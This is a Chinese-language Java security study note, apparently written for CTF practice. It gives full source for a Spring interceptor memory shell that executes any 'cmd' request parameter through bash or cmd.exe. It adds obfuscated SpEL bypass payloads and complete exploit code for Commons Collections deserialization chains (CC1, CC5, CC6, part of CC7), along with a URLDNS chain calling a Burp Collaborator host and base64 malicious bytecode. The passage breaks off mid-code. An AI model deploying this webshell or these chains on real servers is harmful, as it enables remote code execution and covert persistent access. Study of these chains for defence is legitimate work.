AAABVAEEAAAAgAAMAAAABAEIAQwAAAAAAAQBsAG0AAQAAAAEAbgBvAAIAYQAAAAQAAQBwAGIAAAAJAgBsAAAAbgAAAAEAagBxAAMAPwAAAEkAAAAEAAAAAbEAAAACAEAAAAAGAAEAAABaAEEAAAAqAAQAAAABAEIAQwAAAAAAAQBsAG0AAQAAAAEAcgBzAAIAAAABAFQAdAADAGEAAAAEAAEAcABiAAAADQMAbAAAAHIAAABUAAAACAB1AD4AAQA/AAABaQADAAUAAABqsgAkEiW2ACa4ACcSKAO5ACkDAMAAKksqEiu5ACwCAMAAK0wBTRItEi62AC9NpwAITi22ADEsBLYAMgFOLCu2ADPAADROpwAKOgQZBLYANrsAN1m3ADg6BC0ZBLkAOQIAV7IAJBI6tgAmsQACACUALQAwADAAPABFAEgANQAEAEAAAABKABIAAAAXAAgAGAAXABkAIwAaACUAHAAtAB8AMAAdADEAHgA1ACAAOgAhADwAIwBFACYASAAkAEoAJQBPACcAWAAoAGEAKQBpACoAQQAAAEgABwAxAAQATgB2AAMASgAFAE4AdwAEABcAUgB4AHkAAAAjAEYAegB7AAEAJQBEAHwAfQACADwALQB+AH8AAwBYABEAgABDAAQAgQAAAAwAAQA8AC0AfgCCAAMAVwAAAC0ABP8AMAADBwCDBwCEBwCFAAEHAIYE/wASAAQHAIMHAIQHAIUHAIcAAQcAiAYAAQCJAAAAAgCK

内存马本体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {

static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
InceptorMemShell evilInterceptor = new InceptorMemShell();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}

@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setCharacterEncoding("gbk");
java.io.PrintWriter printWriter = response.getWriter();
ProcessBuilder builder;
String o = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.println(o);
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}

@Overridepublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Overridepublic void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

bypass

1
2
3
T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)

T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)
Runtime的绕过
1
2
3
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),newString[]{"cmd","/C","calc"})

''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("ex"+"ec",T(String[])).invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("getRu"+"ntime").invoke(null),'calc')
关键词的绕过
1
T(java.lang.Runtime).getRuntime().exec(T(Character).toString(99)+T(Character).toString(97)+T(Character).toString(108)+T(Character).toString(99))

反序列化

前置知识

类要能序列化满足的条件:

1 实现 java.io.Serializeble 接口

2 该类的所有属性必须都是可序列化,如果有一个属性是不可序列化的,那么这个属性必须注明是 transientstatic

Description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.ctfshow.entity;

public class User implements Serializable {

private static final long serialVersionUID = -3254536114659397781L;
private String username;

public User(String username) {
this.username = username;
}

public String getName(){
return this.username;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}
}

这里 User 类继承 Serializable 接口,反序列化时候调用 readObject 方法。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main;

import com.ctfshow.entity.User;
import util.SerializeUtil;

import java.io.IOException;
import java.util.Base64;

public class UserMain {
public static void main(String[] args) throws IOException, ClassNotFoundException {
User user = new User("calc");
String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(user)));
System.out.println(payload);
SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));
}
}

反序列化链

URLDNS链

入口在 HashMap 下的 readObject,

image-20251110205659680

这里调用了自己的 hash 方法,

image-20251110205718818

这里进了 Key 这个 Object 的 hashCode 方法,我们传入一个 URL 对象的时候,会进 URL.hashCode。

image-20251110205829669

如果自己的 hashCode 不是 -1,就返回,否则会进 handler.hashCode 方法,

image-20251110205924657

image-20251110205959991

就发生了 DNS 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.ctfshow.entity;

import util.SerializeUtil;

import java.io.IOException;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class CtfshowMain {
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {
Map map = new HashMap<Object,Object>();

URL url = new URL("http://success.ybdc5g9cxiy4b2muudcdlnfv4macy1.burpcollaborator.net");

Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
((Field) field).setAccessible(true);

field.set(url,-1);
map.put(url,"ctfshow");

byte[] data = SerializeUtil.serialize(map);

SerializeUtil.unSerialize(data);
}
}

update:这个链子实际上是在序列化前就调用了 DNSlog,原理其实可以看一下 CC6 为什么要伪造 fakechainedtransformer。

CC链

image-20251111202835929

前置知识

根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。 Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Transformer

  • 接口
  • 有一个transform方法,传入一个参数object,传入一个参数object

以下复现环境要求

  • java版本:java 1.8.0_65

  • Pom文件:

1
2
3
4
5
6
7
8
9
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
常见工具类
ChainedTransformer

image-20251111104642776

可以发现就是对传入的 transformer 调用他们的 transform 方法并把返回值作为调用下一个 transform 的参数。

ConstantTransformer

image-20251111105004517

传入就等于传出。

InvokerTransformer

image-20251111105143900

对传入的 class 反射调用他的 methodName 方法。

也就是说,只要可以触发 ChainedTransformertransform 方法,就可以触发一条链的 transform 方法,最终实现RCE。

TemplatesImpl

这个类不在 Apache Commons Collections 中。但是 TemplatesImpl 这个类很特殊,我们可以借助其动态加载包含恶意的字节码,部分简化代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public final class TemplatesImpl implements Templates, Serializable {

private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;

//关键方法:newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
// 关键点,调用 getTransletInstance()
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
}


//继续跟进 getTransletInstance() 方法:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

//先判断是否为 null,如果为 null 的话去加载字节码,紧接着 newInstance() 对其实例化。
if (_class == null) defineTransletClasses();

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
…………
}
}

//继续跟进 defineTransletClasses() 方法:
private void defineTransletClasses()
throws TransformerConfigurationException {
…………
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
…………
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //关键点
final Class superClass = _class[i].getSuperclass();
}
}

//继续跟进 TransletClassLoader,这个类里重写了 defineClass 方法
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}

Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length); //把字节数组中的内容转换为Java类,返回的结果是java.lang.Class类的实例
}
}

}

image-20251112152011177

我们先生成一个恶意类,这个恶意类必须继承于 AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// HelloTemplatesImpl.java
public class HelloTemplatesImpl extends AbstractTranslet {

public HelloTemplatesImpl() {
super();
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

然后我们反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 测试 TemplatesImpl
public class Test {

//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}

public static void main(String[] args) throws TransformerConfigurationException {
//恶意字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");

//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");//恶意类名
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

templates.newTransformer();
}
}

也就是说,我们只需要执行 templates.newTransformer 方法,就可以载入字节码并执行恶意类的构造方法。

InstantiateTransformer

他的 transform 方法作用是反射调用构造函数将类实例化,关键代码如下:

image-20251111205647993

常见 cc 链
cc1(Normal)

找到 class sun.reflect.annotation.AnnotationInvocationHandler,里面的 readObject 方法调用了 setvalue 方法,

image-20251111110654281

image-20251111105838610

这里 setValue 被调用的时候,实际上被装饰的 Map 重写了 setValue 方法,

image-20251111112118582

而这个 valueTransformer 就是

image-20251111112201921

也就是说调用了 valuetransformer。

现在开始梳理攻击链条:

首先我们找到了 AnnotationInvocationHandler 类,但是因为他的构造方法是 default 的,所以只能通过反射来调用。

var5 = this.memberValues.entrySet(),这里就是 TransformedMap.entrySet 方法,这个类没有去父类找,

image-20251111114857242

然后调了 setValue 方法

image-20251111115047023

实际上相当于是 下面静态类的 mapEntry 中的 setValue 方法,这里就会调用 this.parent 的 checkSetValue 方法,也就是 transformedmap 的 checkValue方法

image-20251111115225159

这里就进了 valueTransFormer 的 transform 方法,也就是 chainedTransformer 的 transform 方法。

这里实例化 transformedmap 时候不能直接实例化,因为他的构造方法是受保护的,所以要调用他的 decorate 方法。

image-20251111115401826

这里就基本可以了,但是还有一个小问题就是。

image-20251111171855520

注意到这个 setValue 会对 transformedMap 值进行修改,所以我们引入 constantTransform 进行常量返回避免修改。

注意到需要进入 if 条件才能进行 setvalue,所以

image-20251111172216132

image-20251111172428472

可以看到,type的值是从传入的 type 类型获取的,所以我们需要一个有 value 的注解 class。

1
2
Object o = constructor.newInstance(Retention.class,transformedMap);
map.put("value","xxx");

image-20251111172144966

到这里就基本结束了,image-20251111174021753

这里字符串 aaa 显然就不是什么 memberType 也就是 RetentionPolicy 的实例化,也不是什么 ExceptionProxy 的实例化,所以说直接进 setvalue。

readobject => setvalue => checksetvalue => chainedtransformer.transform => constanttransformer.transform => invokertransformer.transform

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import util.SerializeUtil;
//import sun.reflect.annotation.AnnotationInvocationHandler

import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Transform {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};

Transformer chainedTransformer = new ChainedTransformer(transformers);


HashMap hashMap = new HashMap();
hashMap.put("value", "xxx");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);


Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);

ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);

byte[] data = SerializeUtil.serialize(instance);
SerializeUtil.unSerialize(data);
}
}
cc1(LazyMap)

刚才的 transformedmap 触发 transform 方法是由 setValue 方法触发的。

而 lazymap 触发 transform 方法是由 get 方法触发的。

image-20251111184906545

而 AnnotationInvocationHandler 中的 invoke 方法就触发了他的 get 方法。

那么 invoke 方法就让动态代理来触发,我们不管调用任何方法,Proxy 的 Invocationhandler 的 invoke 方法去执行。

这里设置 Invocationhandler 为 AnnotationInvocationHandler。

1
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

image-20251111190045629

这里通过 AnnotationInvocationHandler.readobject => memberValues.entrySet => AnnotationInvocationHandler.invoke => lazymap.get => …..(同上)

由于这里也不需要走到 readobject 下面的 if,所以说注解也不需要指定为上面的 Target.class。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.example.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Transform {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("sercc1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc1.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
cc6

从 HashMap 的 readobject 方法看起,image-20251111192258322

image-20251111192311528

hash(key) 跟进去就是

image-20251111192343791

调用了 k.hashCode 方法,也就是说我们需要找到一个键值.hashcode 方法。

找到 TiedMapEntry 类。

image-20251111192450826

image-20251111192933288

这里就可以触发 lazymap 的 get 方法,触发攻击链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");

serialize(map2);

这样写你会发现在序列化的时候就调用了,这是因为你 put 的时候就调用了 hashcode 方法了,那么反序列化的时候就不会再调用了(因为)。

所以我们需要先传一个 fakeTransformer 然后等下再反射改回来,这样就没调用过真正的 chainedtransform的hashcode。

还有注意,lazyMap 的 get 方法如下:

image-20251111193225956

如果不存在这个 key 的值才回去调用 transform 方法,但是在传假 put 的时候已经调用过一次 hash 方法了,相当于已经存在了 key=>transform('key') 这样的话我们必须先 remove 掉才能在反序列化的时候调用到 transform 方法。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.example.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Transform {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);//传入假 transformerChain
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");//put 方法传入
outerMap.remove("keykey");//remove key
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);//改回来

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
cc5

上面 cc6 关键点是通过 lazymap.get 触发的,那么前面如果不通过 hashmap 来触发,是否还有其他的的链子呢。这就是 cc5。

通过 BadAttributeValueExpException 类的 readobject 方法

image-20251112153542650

能够进 valObj 的 tostring 方法

1
System.getSecurityManager()//这里一般 java 安全管理器都没有直接进 toString 了

找 TiedMapEntry 类的 tostring 方法,

image-20251112153933336

getvalue 跟进去,到了

image-20251112154008797

这不就 lazymap.get 了吗后面都是一样的了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.example.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Transform {

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);

//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

//BadAttributeValueExpException 实例
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

//反射设置 val
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();

//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

}

}
cc7

这次换其他的类触发 lazymap.get 方法,

image-20251112155846870

image-20251112155900895

这里注意,只有 e.hash == hash 才能调用 e.key.equals 方法,这是 hash 的计算方法:

image-20251112162021723

也就是说我们精心构造的:

yyzZ 他们的 hash码是相同的

lazymap 没有 equals 方法,需要进他的父类 AbstractMapDecorator 找 equals 方法。

image-20251112160159941

这里就进了 hashmap.equals 方法,但是 hashmap 没有 equals 方法,他的父类 AbstractMap 有,这里就调用了 lazymap.get:

image-20251112161603742

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.*;

public class Transform {

public static Hashtable getObject(final String command) {

//构造最终Transformer链
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{command}
)
